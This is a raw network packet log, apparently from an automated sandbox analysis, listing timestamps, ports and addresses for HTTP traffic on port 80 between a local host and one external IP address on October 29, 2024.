Oct 29, 2024 04:52:58.016310930 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.059875011 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.143979073 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.149391890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149451017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149518013 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149527073 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.149553061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149585962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149616003 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.149619102 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149672031 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149684906 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.149708033 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149758101 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149791956 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149816990 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.149827957 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149842978 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.149863005 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149895906 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149908066 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.149930000 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.149962902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150000095 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150051117 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.150147915 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150182009 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150214911 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150249004 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150283098 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150306940 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.150319099 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150371075 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.150403023 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150435925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150469065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150490999 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.150501966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150536060 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150562048 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.150572062 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150634050 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.150748968 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150780916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150814056 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150837898 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.150847912 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150881052 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150901079 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.150916100 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150949001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.150969028 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.150983095 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151016951 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151032925 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151048899 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151082039 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151108027 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151118994 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151154995 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151175022 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151400089 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151432037 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151453018 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151465893 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151499987 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151527882 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151535034 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151570082 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151599884 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151602983 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151635885 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151650906 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151669025 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151701927 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151710987 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151736021 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151768923 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151784897 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151803017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151837111 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151874065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.151900053 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.151935101 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152056932 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152090073 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152122021 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152144909 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152157068 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152190924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152213097 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152226925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152260065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152285099 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152293921 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152328014 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152359962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152386904 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152407885 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152441025 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152473927 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152476072 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152499914 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152508974 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152544022 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152559042 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152578115 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152614117 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152627945 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152724028 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152756929 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152784109 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152790070 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152823925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152858973 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152884007 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152892113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152916908 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.152926922 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.152980089 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153158903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153209925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153243065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153269053 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153278112 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153311968 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153331041 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153346062 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153378963 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153403997 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153413057 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153446913 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153462887 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153481007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153513908 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153529882 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153547049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153579950 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153614044 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153639078 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153645992 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153673887 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153681040 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153716087 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153744936 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153750896 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153784037 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153798103 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.153817892 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153852940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.153877020 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154105902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154155970 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154155970 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154191971 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154226065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154239893 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154262066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154295921 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154323101 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154329062 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154362917 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154397011 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154412031 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154429913 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154463053 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154494047 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154496908 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154519081 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154531002 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154565096 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154592037 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154597998 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154633045 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154647112 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154670000 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154702902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154735088 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154767990 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154794931 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.154802084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.154867887 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155057907 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155108929 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155142069 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155175924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155208111 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155219078 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155241966 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155245066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155282974 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155294895 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155333042 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155369997 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155385971 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155404091 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155437946 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155457973 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155472040 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155504942 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155522108 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155539036 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155572891 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155606031 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155622005 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155652046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155654907 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155685902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155718088 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155751944 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155760050 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.155785084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.155836105 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156018972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156034946 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156049967 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156065941 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156080961 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156095982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156106949 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156111956 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156127930 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156142950 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156147957 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156158924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156173944 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156182051 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156182051 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156188965 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156203985 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156219006 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156234980 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156244993 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156250000 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156266928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156270027 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156322002 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156759977 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156774998 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156797886 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156814098 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156829119 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156846046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156848907 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156862020 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156876087 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156891108 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156903982 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156904936 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156927109 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156929970 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156945944 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156949043 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.156961918 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156977892 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.156992912 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157006979 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157011032 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.157022953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157037973 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157041073 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.157053947 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157064915 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.157071114 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157087088 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157093048 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.157139063 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.157654047 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157670021 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157685041 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157707930 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.157725096 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157732010 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.157742977 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157757998 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157773018 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157787085 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.157788992 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.157828093 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.200485945 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.423706055 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.424168110 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.653376102 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.658835888 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.658855915 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.658871889 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.658896923 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.658898115 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.658914089 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.658931017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.658947945 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.658952951 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.658968925 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.659120083 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659136057 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659151077 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659159899 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.659167051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659183979 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659192085 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.659231901 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.659255028 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659390926 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659408092 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659423113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659440041 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659456015 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659471035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659477949 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.659487009 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659502029 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659512043 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.659517050 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659538984 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.659559965 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.659692049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659708023 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659727097 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.659753084 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.700495958 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.715399981 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.720943928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.720972061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.720988035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721045017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721061945 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721091032 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721106052 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721110106 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721148968 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721224070 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721240044 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721256018 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721271992 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721297026 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721326113 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721362114 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721385002 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721400023 CET	80	49917	185.215.113.16	192.168.2.5
